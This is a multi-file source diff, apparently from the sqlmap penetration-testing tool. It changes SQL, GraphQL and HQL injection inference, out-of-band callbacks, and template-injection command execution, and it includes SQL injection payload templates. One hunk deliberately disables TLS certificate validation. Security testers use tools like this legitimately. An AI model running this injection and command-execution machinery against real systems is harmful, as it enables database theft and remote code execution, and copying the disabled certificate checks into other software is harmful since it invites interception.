_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
|
||||
# Note: SNI (i.e. server_hostname) is a TLS extension, hence only those are used in here (Note: PROTOCOL_TLSv1 is not compiled in on OpenSSL builds without TLS 1.0 support)
|
||||
_tlsProtocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1"))
|
||||
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
|
||||
_contexts = {}
|
||||
|
||||
|
|
@ -64,7 +66,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
|||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||
if hasattr(ssl, "SSLContext"):
|
||||
for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
|
||||
for protocol in (_ for _ in _protocols if _ in _tlsProtocols):
|
||||
sock = None
|
||||
try:
|
||||
sock = create_sock()
|
||||
|
|
|
|||
|
|
@ -112,11 +112,14 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
|
|||
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||
|
||||
if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None:
|
||||
msg = "multi-threading is considered unsafe in "
|
||||
msg += "time-based data retrieval. Are you sure "
|
||||
msg += "of your choice (breaking warranty) [y/N] "
|
||||
if kb.get("timeless") is not None: # Note: (HTTP/2) timeless oracle is concurrency-safe (cf. valueParallelEligible())
|
||||
kb.forceThreads = True
|
||||
else:
|
||||
msg = "multi-threading is considered unsafe in "
|
||||
msg += "time-based data retrieval. Are you sure "
|
||||
msg += "of your choice (breaking warranty) [y/N] "
|
||||
|
||||
kb.forceThreads = readInput(msg, default='N', boolean=True)
|
||||
kb.forceThreads = readInput(msg, default='N', boolean=True)
|
||||
|
||||
if not (timeBasedCompare and kb.dnsTest):
|
||||
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
|
||||
|
|
@ -674,6 +677,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||
count = 0
|
||||
|
||||
if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I):
|
||||
if fromUser and re.search(r"(?i)\bDISTINCT\b", query):
|
||||
singleTimeWarnMessage("DISTINCT is not supported in provided SQL queries (results can contain duplicates)")
|
||||
query = query.replace("DISTINCT ", "")
|
||||
|
||||
if not conf.forceDns:
|
||||
|
|
|
|||
|
|
@ -49,6 +49,21 @@ class Interactsh(object):
|
|||
def __init__(self, server=None, token=None):
|
||||
self.server = None
|
||||
self.token = token or conf.get("oobToken")
|
||||
self._scheme = "https"
|
||||
self._ownServer = bool(server)
|
||||
|
||||
# Note: explicitly provided server can come with a scheme (e.g. 'http://oob.example.com/') - the rest is used as the (callback) host
|
||||
if server:
|
||||
server = server.strip()
|
||||
for scheme in ("https", "http"):
|
||||
if server.lower().startswith("%s://" % scheme):
|
||||
self._scheme, server = scheme, server[len(scheme) + len("://"):]
|
||||
server = server.rstrip('/')
|
||||
|
||||
# Note: (private) token belongs only to an explicitly provided server (i.e. never to be sent to a public one)
|
||||
if self.token and not server:
|
||||
logger.warning("OOB token is used only with an explicitly provided OOB server (option '--oob-server')")
|
||||
self.token = None
|
||||
self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True)
|
||||
self.secret = randomStr(32, lowercase=True)
|
||||
self.registered = False
|
||||
|
|
@ -73,12 +88,15 @@ class Interactsh(object):
|
|||
if not candidate:
|
||||
continue
|
||||
body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId})
|
||||
if self._request("https://%s/register" % candidate, post=body):
|
||||
if self._request("%s://%s/register" % (self._scheme, candidate), post=body):
|
||||
self.server = candidate
|
||||
self.registered = True
|
||||
logger.debug("registered with OOB interaction server '%s'" % candidate)
|
||||
break
|
||||
|
||||
if self._ownServer and not self.registered:
|
||||
logger.warning("unable to register with the provided OOB server '%s://%s'" % (self._scheme, server))
|
||||
|
||||
def _request(self, url, post=None):
|
||||
"""Direct request to the interactsh server (a fixed service, never the target).
|
||||
Self-contained on urllib so it works regardless of sqlmap's request-stack init
|
||||
|
|
@ -98,11 +116,10 @@ class Interactsh(object):
|
|||
|
||||
handlers = []
|
||||
try:
|
||||
# Verify TLS for the (public, valid-cert) interaction server by default;
|
||||
# only skip verification when the user has globally opted out (--force-ssl-verify
|
||||
# off / verifyCert False), matching sqlmap's own TLS posture.
|
||||
# Note: TLS is verified for the (built-in) public interaction servers, while the explicitly
|
||||
# provided (own) server is treated as any other target (i.e. self-signed certificates are fine)
|
||||
context = ssl.create_default_context()
|
||||
if conf.get("verifyCert") is False:
|
||||
if getattr(self, "_ownServer", False):
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
handlers.append(HTTPSHandler(context=context))
|
||||
|
|
@ -260,7 +277,7 @@ class Interactsh(object):
|
|||
if not self.registered:
|
||||
return []
|
||||
|
||||
page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret))
|
||||
page = self._request("%s://%s/poll?id=%s&secret=%s" % (getattr(self, "_scheme", "https"), self.server, self.correlationId, self.secret))
|
||||
if not page:
|
||||
return []
|
||||
|
||||
|
|
@ -341,7 +358,7 @@ class Interactsh(object):
|
|||
def _deregister(self):
|
||||
if self.registered:
|
||||
body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret})
|
||||
self._request("https://%s/deregister" % self.server, post=body)
|
||||
self._request("%s://%s/deregister" % (getattr(self, "_scheme", "https"), self.server), post=body)
|
||||
self.registered = False
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -37,6 +37,9 @@ class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler):
|
|||
try:
|
||||
if ssl and hasattr(ssl, "SSLContext") and hasattr(ssl, "create_default_context"):
|
||||
ctx = ssl.create_default_context()
|
||||
# Note: no server certificate validation (e.g. self-signed/internal CA), as everywhere else (e.g. httpshandler.py)
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
ctx.load_cert_chain(certfile=self.auth_file, keyfile=self.auth_file)
|
||||
try:
|
||||
return _http_client.HTTPSConnection(host, timeout=timeout, context=ctx)
|
||||
|
|
|
|||
|
|
@ -10,6 +10,7 @@ import re
|
|||
import time
|
||||
import types
|
||||
|
||||
from lib.core.common import checkSameHost
|
||||
from lib.core.common import getHostHeader
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import logHTTPTraffic
|
||||
|
|
@ -32,6 +33,7 @@ from lib.core.settings import MAX_TOTAL_REDIRECTIONS
|
|||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.request.basic import decodePage
|
||||
from lib.request.basic import parseResponse
|
||||
from lib.request import authrefresh
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
|
@ -176,6 +178,13 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
|||
req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
|
||||
|
||||
try:
|
||||
if conf.authRefresh and not authrefresh.sameOrigin(req.get_full_url(), redurl):
|
||||
req.headers = authrefresh.stripHeaders(req.headers)
|
||||
req.unredirected_hdrs = authrefresh.stripHeaders(req.unredirected_hdrs)
|
||||
|
||||
# Note: credentials are not to be forwarded to a different host (like browsers, curl and requests do) (#6185)
|
||||
if not checkSameHost(req.get_full_url(), redurl):
|
||||
req.headers = dict((key, value) for key, value in req.headers.items() if key.upper() not in (HTTP_HEADER.COOKIE.upper(), HTTP_HEADER.AUTHORIZATION.upper()))
|
||||
result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
|
||||
except _urllib.error.HTTPError as ex:
|
||||
result = error = ex
|
||||
|
|
|
|||
|
|
@ -39,6 +39,9 @@ class WebSocketTimeoutException(WebSocketException):
|
|||
class WebSocketConnectionClosedException(WebSocketException):
|
||||
pass
|
||||
|
||||
class WebSocketNormalClosureException(WebSocketConnectionClosedException):
|
||||
pass
|
||||
|
||||
class WebSocket(object):
|
||||
"""
|
||||
Minimal RFC 6455 client exposing the websocket-client subset used by sqlmap: settimeout(), connect(),
|
||||
|
|
@ -58,7 +61,7 @@ class WebSocket(object):
|
|||
if self.sock is not None:
|
||||
self.sock.settimeout(timeout)
|
||||
|
||||
def connect(self, url, header=None, cookie=None):
|
||||
def connect(self, url, header=None, cookie=None, hostHeader=None):
|
||||
parts = _urllib.parse.urlsplit(url)
|
||||
secure = parts.scheme == "wss"
|
||||
host = parts.hostname
|
||||
|
|
@ -73,8 +76,10 @@ class WebSocket(object):
|
|||
self.sock.settimeout(self._timeout)
|
||||
|
||||
hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals
|
||||
if port not in (80, 443):
|
||||
if port != (443 if secure else 80): # Note: only the scheme's own default port gets omitted
|
||||
hostport = "%s:%d" % (hostport, port)
|
||||
if hostHeader is not None:
|
||||
hostport = getText(hostHeader)
|
||||
|
||||
key = getText(base64.b64encode(os.urandom(16)))
|
||||
lines = ["GET %s HTTP/1.1" % resource,
|
||||
|
|
@ -157,10 +162,14 @@ class WebSocket(object):
|
|||
|
||||
def recv(self):
|
||||
data = bytearray()
|
||||
receivedFragment = False
|
||||
while True:
|
||||
fin, opcode, payload = self._recvFrame()
|
||||
if opcode == OPCODE_CLOSE:
|
||||
self._closed = True
|
||||
normal = not payload or (len(payload) >= 2 and struct.unpack("!H", bytes(payload[:2]))[0] in (1000, 1001))
|
||||
if normal and not receivedFragment:
|
||||
raise WebSocketNormalClosureException("WebSocket connection closed")
|
||||
raise WebSocketConnectionClosedException("WebSocket connection closed")
|
||||
elif opcode == OPCODE_PING:
|
||||
self._sendFrame(bytes(payload), OPCODE_PONG)
|
||||
|
|
@ -169,6 +178,7 @@ class WebSocket(object):
|
|||
continue
|
||||
|
||||
data += payload
|
||||
receivedFragment = True
|
||||
if fin:
|
||||
break
|
||||
|
||||
|
|
|
|||
|
|
@ -109,6 +109,19 @@ def normalizedExpression(expression):
|
|||
|
||||
return retVal
|
||||
|
||||
def replaceInferenceOperator(payload, replacement):
|
||||
"""
|
||||
Replaces only the inference comparison operator (i.e. the one right in front of the compared
|
||||
value placeholder), leaving any other occurrence (e.g. inside the original parameter value) intact
|
||||
|
||||
>>> replaceInferenceOperator("1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))>%d", "!=")
|
||||
'1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))!=%d'
|
||||
>>> replaceInferenceOperator("a>b AND SUBSTR((%s),%d,1)>'%c'", "=")
|
||||
"a>b AND SUBSTR((%s),%d,1)='%c'"
|
||||
"""
|
||||
|
||||
return re.sub(r"%s(?=%%d|'%%c')" % re.escape(INFERENCE_GREATER_CHAR), lambda match: replacement, payload)
|
||||
|
||||
def getHuffmanPrior(order, scale, dbms=None):
|
||||
"""
|
||||
Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman
|
||||
|
|
@ -314,7 +327,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
threadData = getCurrentThreadData()
|
||||
threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess
|
||||
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||
retVal = hashDBRetrieve(expression, checkConf=True)
|
||||
retVal = hashDBRetrieve(expression, checkConf=True) if not (conf.firstChar or conf.lastChar) else None # Note: stored (complete) value doesn't correspond to a --first/--last range
|
||||
|
||||
if retVal:
|
||||
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
|
||||
|
|
@ -350,7 +363,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
|
||||
if match:
|
||||
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
||||
payload = replaceInferenceOperator(payload, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
||||
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
|
||||
expression = match.group(2).strip()
|
||||
|
||||
|
|
@ -509,9 +522,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
|
||||
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
||||
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
|
||||
forgedPayload = agent.extractPayload(payload) or ""
|
||||
forgedPayload = replaceInferenceOperator(agent.extractPayload(payload) or "", INFERENCE_EQUALS_CHAR)
|
||||
forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue)
|
||||
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
|
||||
forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx, posValue))
|
||||
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
|
|
@ -530,7 +543,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
|
||||
validationPayload = replaceInferenceOperator(payload, INFERENCE_NOT_EQUALS_CHAR) if PAYLOAD_DELIMITER in payload else payload
|
||||
|
||||
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
||||
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
|
||||
|
|
@ -668,7 +681,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
# If it disagrees, the IN() channel is unreliable here: latch the technique off so the
|
||||
# classic '>' bisection takes over for the rest of the run (graceful fallback).
|
||||
if not kb.huffmanValidated:
|
||||
verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
||||
verifyPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
||||
verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if verified:
|
||||
|
|
@ -739,7 +752,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
return None
|
||||
|
||||
elif len(charTbl) == 1:
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
|
||||
forgedPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
|
|
@ -963,7 +976,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
|
||||
mask = 1 << choice
|
||||
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
|
||||
forgedPayload = safeStringFormat(replaceInferenceOperator(payload, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
|
|
@ -975,7 +988,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
bit += 1
|
||||
|
||||
if candidates:
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
|
||||
forgedPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
|
|
@ -1238,7 +1251,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH
|
||||
and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS):
|
||||
kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue)
|
||||
elif partialValue:
|
||||
elif partialValue and not (conf.firstChar or conf.lastChar): # Note: same as above (otherwise resumed as the start of the complete value)
|
||||
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
|
||||
|
||||
if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
|
||||
|
|
|
|||
|
|
@ -74,7 +74,10 @@ def dnsUse(payload, expression):
|
|||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
||||
query = agent.prefixQuery("; %s" % expressionUnescaped)
|
||||
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
|
||||
if conf.suffix is not None:
|
||||
query = agent.suffixQuery(query, comment="", suffix=conf.suffix)
|
||||
else:
|
||||
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
|
||||
forgedPayload = agent.payload(newValue=query)
|
||||
else:
|
||||
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
|
||||
|
|
|
|||
|
|
@ -213,6 +213,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
|||
if isinstance(retVal, six.string_types):
|
||||
retVal = htmlUnescape(retVal).replace("<br>", "\n")
|
||||
|
||||
# Note: SQLite's error message of JSON_EXTRACT (e.g. "bad JSON path: '...'") quotes the (path) value by doubling its single quotes
|
||||
if Backend.isDbms(DBMS.SQLITE) and not conf.hexConvert and "JSON_EXTRACT" in (getTechniqueData().vector or ""):
|
||||
retVal = retVal.replace("''", "'")
|
||||
|
||||
retVal = _errorReplaceChars(retVal)
|
||||
|
||||
if retVal is not None:
|
||||
|
|
|
|||
|
|
@ -357,8 +357,9 @@ def _cell(value):
|
|||
|
||||
# --- HTTP transport ---------------------------------------------------------
|
||||
|
||||
def _gqlSend(endpoint, query, variables=None):
|
||||
def _gqlSend(endpoint, query, variables=None, errorBody=False):
|
||||
# POST a JSON GraphQL request to `endpoint`, returning (body, http_code)
|
||||
# Note: errorBody keeps 5xx bodies (e.g. SQL error inside GraphQL 'errors') for error-message fingerprinting
|
||||
body = {"query": query}
|
||||
if variables:
|
||||
body["variables"] = variables
|
||||
|
|
@ -382,7 +383,7 @@ def _gqlSend(endpoint, query, variables=None):
|
|||
return None, 0
|
||||
finally:
|
||||
kb.postHint = oldPostHint
|
||||
if blockedStatus(code): # WAF / rate-limit / 5xx is not a usable oracle sample
|
||||
if blockedStatus(code) and not (errorBody and code >= 500): # WAF / rate-limit / 5xx is not a usable oracle sample
|
||||
return None, code
|
||||
return page or "", code
|
||||
|
||||
|
|
@ -944,16 +945,16 @@ def _detectError(slot, endpoint):
|
|||
# influence. Require the signature to be ABSENT from a benign baseline, appear only AFTER the
|
||||
# injected value, and REPRODUCE before accepting it.
|
||||
benign = _buildQuery(slot, "1")
|
||||
basePage = _gqlSend(endpoint, benign)[0] if benign else None
|
||||
basePage = _gqlSend(endpoint, benign, errorBody=True)[0] if benign else None
|
||||
baseErr = _errorText(basePage) or ""
|
||||
|
||||
def _appearsOnlyAfterInjection(query, matcher):
|
||||
# matcher(text) -> re.Match or None; True only if it hits the injected response, is absent
|
||||
# from the benign baseline, and reproduces on a second injected request
|
||||
err = _errorText(_gqlSend(endpoint, query)[0])
|
||||
err = _errorText(_gqlSend(endpoint, query, errorBody=True)[0])
|
||||
if not err or not matcher(err) or matcher(baseErr):
|
||||
return None
|
||||
err2 = _errorText(_gqlSend(endpoint, query)[0])
|
||||
err2 = _errorText(_gqlSend(endpoint, query, errorBody=True)[0])
|
||||
return matcher(err) if (err2 and matcher(err2)) else None
|
||||
|
||||
for payload in _SQL_ERROR_PAYLOADS:
|
||||
|
|
@ -963,7 +964,7 @@ def _detectError(slot, endpoint):
|
|||
for pattern in ERROR_PARSING_REGEXES:
|
||||
m = _appearsOnlyAfterInjection(query, lambda t, p=pattern: re.search(p, t))
|
||||
if m:
|
||||
detail = m.group("result") if "result" in m.groupdict() else _errorText(_gqlSend(endpoint, query)[0])[:200]
|
||||
detail = m.group("result") if "result" in m.groupdict() else _errorText(_gqlSend(endpoint, query, errorBody=True)[0])[:200]
|
||||
return "error-based", detail, payload
|
||||
|
||||
for payload in (_NOSQL_NE, _NOSQL_IN):
|
||||
|
|
@ -972,7 +973,7 @@ def _detectError(slot, endpoint):
|
|||
continue
|
||||
m = _appearsOnlyAfterInjection(query, lambda t: re.search(NOSQL_ERROR_REGEX, t))
|
||||
if m:
|
||||
return "nosql-error-based", (_errorText(_gqlSend(endpoint, query)[0]) or "")[:200], payload
|
||||
return "nosql-error-based", (_errorText(_gqlSend(endpoint, query, errorBody=True)[0]) or "")[:200], payload
|
||||
|
||||
return None, None, None
|
||||
|
||||
|
|
@ -1651,6 +1652,10 @@ def _enumerate(oracle):
|
|||
conf.dumper.singleString("GraphQL database tables [%d]:\n%s" % (
|
||||
len(tables), _grid(["table"], [[_] for _ in tables])))
|
||||
|
||||
# Note: honoring -T (as in case of regular SQL enumeration)
|
||||
if conf.tbl:
|
||||
tables = [_ for _ in tables if _.lower() in set(__.lower() for __ in conf.tbl.split(','))]
|
||||
|
||||
for table in tables:
|
||||
parsed = _dumpTable(infer, dialect, table)
|
||||
if not parsed:
|
||||
|
|
|
|||
|
|
@ -37,6 +37,7 @@ from lib.core.settings import HQL_MAX_RECORDS
|
|||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
from thirdparty.six.moves.urllib.parse import quote as _quote
|
||||
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
|
@ -126,7 +127,8 @@ def _send(place, parameter, value):
|
|||
time.sleep(conf.delay)
|
||||
|
||||
old_params = conf.parameters.get(place, "")
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, value)
|
||||
# Note: URL encoded value (raw '+', '&', '%', '#', '?' would be misinterpreted), as with other non-SQL engines (e.g. OData)
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe=""))
|
||||
|
||||
try:
|
||||
if conf.verbose >= 3:
|
||||
|
|
@ -406,11 +408,9 @@ for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1):
|
|||
# Charset as an HQL string literal for LOCATE()-based binary search: each character's
|
||||
# 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a
|
||||
# linear equality scan), and LOCATE is an index lookup so no lexicographic ordering /
|
||||
# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded
|
||||
# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as
|
||||
# it was under the previous linear scan). ', ", \ are already excluded above.
|
||||
_URL_HOSTILE = set(ord(_) for _ in "%&+#?")
|
||||
_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE)
|
||||
# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are fine, as
|
||||
# values are URL encoded by _send(). ', ", \ are already excluded above.
|
||||
_CS_LITERAL = "".join(chr(_) for _ in _CHARSET)
|
||||
|
||||
|
||||
def _scalar(entity, attrExpr, pin, after=None):
|
||||
|
|
|
|||
|
|
@ -85,6 +85,10 @@ def _send(token):
|
|||
skipUrlEncode = conf.skipUrlEncode
|
||||
conf.skipUrlEncode = True
|
||||
|
||||
# Note: a rejected token is commonly answered with HTTP 401/403 - that is an oracle answer here, not a connection problem
|
||||
ignoreCode = conf.ignoreCode
|
||||
conf.ignoreCode = list(set((ignoreCode or []) + [401, 403]))
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
|
|
@ -110,6 +114,7 @@ def _send(token):
|
|||
return None
|
||||
finally:
|
||||
conf.skipUrlEncode = skipUrlEncode
|
||||
conf.ignoreCode = ignoreCode
|
||||
|
||||
return page
|
||||
|
||||
|
|
|
|||
|
|
@ -15,7 +15,9 @@ from lib.core.common import beep
|
|||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.convert import htmlUnescape
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
|
|
@ -816,7 +818,8 @@ def _winChallenge(a, b):
|
|||
|
||||
def _unixFramed(cmd, sa, sb, ea, eb):
|
||||
# printf concatenates its two %s (sa+sb / ea+eb) at runtime; the request carries them separated
|
||||
return "printf %%s%%s %s %s; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb)
|
||||
# Note: a '<' canary is printed right after the start marker - it reveals whether the engine HTML-escapes the output
|
||||
return "printf %%s%%s %s %s; printf %%s \\<; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb)
|
||||
|
||||
|
||||
def _winFramed(cmd, sa, sb, ea, eb):
|
||||
|
|
@ -1017,9 +1020,24 @@ def _executeCommand(place, parameter, engine, cmd):
|
|||
framedCmd = _escapeSingleQuoted(framed(cmd, sa, sb, ea, eb))
|
||||
for payloadTemplate, description in engine.rcePayloads:
|
||||
payload = payloadTemplate.replace("{CMD}", framedCmd)
|
||||
page = getUnicode(_send(place, parameter, original + payload) or "")
|
||||
|
||||
# Note: raw page (i.e. without sqlmap's generic decoding, which would e.g. turn a genuine '%41' into 'A')
|
||||
disableHtmlDecoding = kb.disableHtmlDecoding
|
||||
kb.disableHtmlDecoding = _family == "unix"
|
||||
try:
|
||||
page = getUnicode(_send(place, parameter, original + payload) or "")
|
||||
finally:
|
||||
kb.disableHtmlDecoding = disableHtmlDecoding
|
||||
|
||||
out = _framedOutput(page, start, end)
|
||||
if out is not None:
|
||||
# Note: without a shell (e.g. Java's Runtime.exec) printf recycles its format over the rest of the (unexecuted) command
|
||||
# line (e.g. ';id;printf%s%s'), "reproducing" both markers by itself - leftover format is the telltale
|
||||
if out is not None and "%s%s" not in out:
|
||||
if _family == "unix":
|
||||
if out.startswith("<"): # engine HTML-escaped the output (e.g. Jinja2 with autoescaping)
|
||||
out = htmlUnescape(out[len("<"):]).strip()
|
||||
elif out.startswith("<"): # raw output
|
||||
out = out[len("<"):].strip()
|
||||
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out))
|
||||
return
|
||||
|
||||
|
|
|
|||
|
|
@ -37,6 +37,7 @@ from lib.core.common import singleTimeDebugMessage
|
|||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import wasLastResponseDBMSError
|
||||
from lib.core.common import zeroDepthSearch
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import decodeBase64
|
||||
from lib.core.convert import getUnicode
|
||||
|
|
@ -344,13 +345,19 @@ def unionUse(expression, unpack=True, dump=False):
|
|||
kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None
|
||||
|
||||
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
|
||||
# Removed ORDER BY clause because UNION does not play well with it
|
||||
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
|
||||
# Only remove outer ordering. Nested ORDER BY clauses can select which
|
||||
# rows survive a ROWNUM/TOP limit and must remain intact.
|
||||
positions = set(index for keyword in set(re.findall(r"(?i)ORDER BY", expression)) for index in zeroDepthSearch(expression, keyword))
|
||||
expression = re.sub(r"(?i)ORDER BY\s+[\w.]+(?:\s+(?:ASC|DESC)\b)?(?:\s*,\s*[\w.]+(?:\s+(?:ASC|DESC)\b)?)*", lambda match: "" if match.start() in positions else match.group(0), expression)
|
||||
debugMsg = "stripping ORDER BY clause from statement because "
|
||||
debugMsg += "it does not play well with UNION query SQL injection"
|
||||
singleTimeDebugMessage(debugMsg)
|
||||
|
||||
